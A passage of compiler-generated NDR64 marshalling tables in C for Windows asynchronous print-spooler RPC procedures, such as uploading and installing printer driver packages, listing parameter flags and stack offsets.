/* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszInfPath */      /* parameter pszInfPath */\n        &__midl_frag1022,\n        { \n        /* pszInfPath */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pszEnvironment */      /* parameter pszEnvironment */\n        &__midl_frag1022,\n        { \n        /* pszEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1018,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag996_t __midl_frag996 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag995_t __midl_frag995 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag994_t __midl_frag994 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag995\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag996\n    }\n};\n\nstatic const __midl_frag993_t __midl_frag993 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag994\n};\n\nstatic const __midl_frag984_t __midl_frag984 =\n{ \n/* RpcAsyncGetPrinterDriverPackagePath */\n    { \n    /* RpcAsyncGetPrinterDriverPackagePath */      /* procedure RpcAsyncGetPrinterDriverPackagePath */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pszServer */      /* parameter pszServer */\n        &__midl_frag1021,\n        { \n        /* pszServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszEnvironment */      /* parameter pszEnvironment */\n        &__midl_frag1022,\n        { \n        /* pszEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pszLanguage */      /* parameter pszLanguage */\n        &__midl_frag1021,\n        { \n        /* pszLanguage */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pszPackageID */      /* parameter pszPackageID */\n        &__midl_frag1022,\n        { \n        /* pszPackageID */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pszDriverPackageCab */      /* parameter pszDriverPackageCab */\n        &__midl_frag993,\n        { \n        /* pszDriverPackageCab */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* cchDriverPackageCab */      /* parameter cchDriverPackageCab */\n        &__midl_frag1018,\n        { \n        /* cchDriverPackageCab */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pcchRequiredSize */      /* parameter pcchRequiredSize */\n        &__midl_frag1018,\n        { \n        /* pcchRequiredSize */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1018,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag980_t __midl_frag980 =\n0x7    /* FC64_INT64 */;\n\nstatic const __midl_frag979_t __midl_frag979 =\n{ \n/* FILETIME */\n    { \n    /* FILETIME */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* FILETIME */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    }\n};\n\nstatic const __midl_frag978_t __midl_frag978 =\n{ \n/* GUID */\n    { \n    /* GUID */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* GUID */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */\n    }\n};\n\nstatic const __midl_frag977_t __midl_frag977 =\n{ \n/* *GUID */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag978\n};\n\nstatic const __midl_frag972_t __midl_frag972 =\n{ \n/* RpcAsyncCorePrinterDriverInstalled */\n    { \n    /* RpcAsyncCorePrinterDriverInstalled */      /* procedure RpcAsyncCorePrinterDriverInstalled */\n        (NDR64_UINT32) 51118144 /* 0x30c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions, actual guaranteed */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 112 /* 0x70 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pszServer */      /* parameter pszServer */\n        &__midl_frag1021,\n        { \n        /* pszServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszEnvironment */      /* parameter pszEnvironment */\n        &__midl_frag1022,\n        { \n        /* pszEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* CoreDriverGUID */      /* parameter CoreDriverGUID */\n        &__midl_frag978,\n        { \n        /* CoreDriverGUID */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* ftDriverDate */      /* parameter ftDriverDate */\n        &__midl_frag979,\n        { \n        /* ftDriverDate */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* dwlDriverVersion */      /* parameter dwlDriverVersion */\n        &__midl_frag980,\n        { \n        /* dwlDriverVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pbDriverInstalled */      /* parameter pbDriverInstalled */\n        &__midl_frag1018,\n        { \n        /* pbDriverInstalled */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1018,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag970_t __midl_frag970 =\n{ \n/* CORE_PRINTER_DRIVER */\n    { \n    /* CORE_PRINTER_DRIVER */\n        0x30,    /* FC64_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* CORE_PRINTER_DRIVER */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 552 /* 0x228 */\n    }\n};\n\nstatic const __midl_frag969_t __midl_frag969 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag968_t __midl_frag968 =\n{ \n/* *CORE_PRINTER_DRIVER */\n    { \n    /* *CORE_PRINTER_DRIVER */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *CORE_PRINTER_DRIVER */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 552 /* 0x228 */,\n        &__midl_frag969\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 552 /* 0x228 */,\n        &__midl_frag970\n    }\n};\n\nstatic const __midl_frag967_t __midl_frag967 =\n{ \n/* *CORE_PRINTER_DRIVER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag968\n};\n\nstatic const __midl_frag965_t __midl_frag965 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag964_t __midl_frag964 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag963_t __midl_frag963 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag964\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag965\n    }\n};\n\nstatic const __midl_frag962_t __midl_frag962 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag963\n};\n\nstatic const __midl_frag957_t __midl_frag957 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1102\n};\n\nstatic const __midl_frag956_t __midl_frag956 =\n{ \n/* RpcAsyncGetCorePrinterDrivers */\n    { \n    /* RpcAsyncGetCorePrinterDrivers */      /* procedure RpcAsyncGetCorePrinterDrivers */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pszServer */      /* parameter pszServer */\n        &__midl_frag957,\n        { \n        /* pszServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszEnvironment */      /* parameter pszEnvironment */\n        &__midl_frag1102,\n        { \n        /* pszEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cchCoreDrivers */      /* parameter cchCoreDrivers */\n        &__midl_frag1065,\n        { \n        /* cchCoreDrivers */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pszzCoreDriverDependencies */      /* parameter pszzCoreDriverDependencies */\n        &__midl_frag963,\n        { \n        /* pszzCoreDriverDependencies */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cCorePrinterDrivers */      /* parameter cCorePrinterDrivers */\n        &__midl_frag1103,\n        { \n        /* cCorePrinterDrivers */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pCorePrinterDrivers */      /* parameter pCorePrinterDrivers */\n        &__midl_frag968,\n        { \n        /* pCorePrinterDrivers */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1018,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag953_t __midl_frag953 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1065\n};\n\nstatic const __midl_frag952_t __midl_frag952 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag951_t __midl_frag951 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_OPERATOR */\n        0x4,    /* FC_EXPR_OPER */\n        0x5,    /* OP_UNARY_INDIRECTION */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT8) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x8,    /* FC64_UINT64 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag950_t __midl_frag950 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag951\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag952\n    }\n};\n\nstatic const __midl_frag949_t __midl_frag949 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag950\n};\n\nstatic const __midl_frag948_t __midl_frag948 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag947_t __midl_frag947 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x64,    /* FC64_CONF_WCHAR_STRING */\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT16) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag946_t __midl_frag946 =\n{ \n/* *wchar_t */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag947\n};\n\nstatic const __midl_frag942_t __midl_frag942 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag947\n};\n\nstatic const __midl_frag941_t __midl_frag941 =\n{ \n/* RpcAsyncUploadPrinterDriverPackage */\n    { \n    /* RpcAsyncUploadPrinterDriverPackage */      /* procedure RpcAsyncUploadPrinterDriverPackage */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pszServer */      /* parameter pszServer */\n        &__midl_frag942,\n        { \n        /* pszServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pszInfPath */      /* parameter pszInfPath */\n        &__midl_frag947,\n        { \n        /* pszInfPath */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pszEnvironment */      /* parameter pszEnvironment */\n        &__midl_frag947,\n        { \n        /* pszEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* dwFlags */      /* parameter dwFlags */\n        &__midl_frag948,\n        { \n        /* dwFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pszDestInfPath */      /* parameter pszDestInfPath */\n        &__midl_frag949,\n        { \n        /* pszDestInfPath */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcchDestInfPath */      /* parameter pcchDestInfPath */\n        &__midl_frag1065,\n        { \n        /* pcchDestInfPath */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], Basetype, SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* HRESULT */      /* parameter HRESULT */\n        &__midl_frag1065,\n        { \n        /* HRESULT */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag930_t __midl_frag930 =\n{ \n/* RpcAsyncInstallPrinterDriverFromPackage */\n    { \n    /* RpcAsyncInstallPrinterDriverFromPackage */      /* procedure RpcAsyncInstallPrinterDriverFromPackage */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack 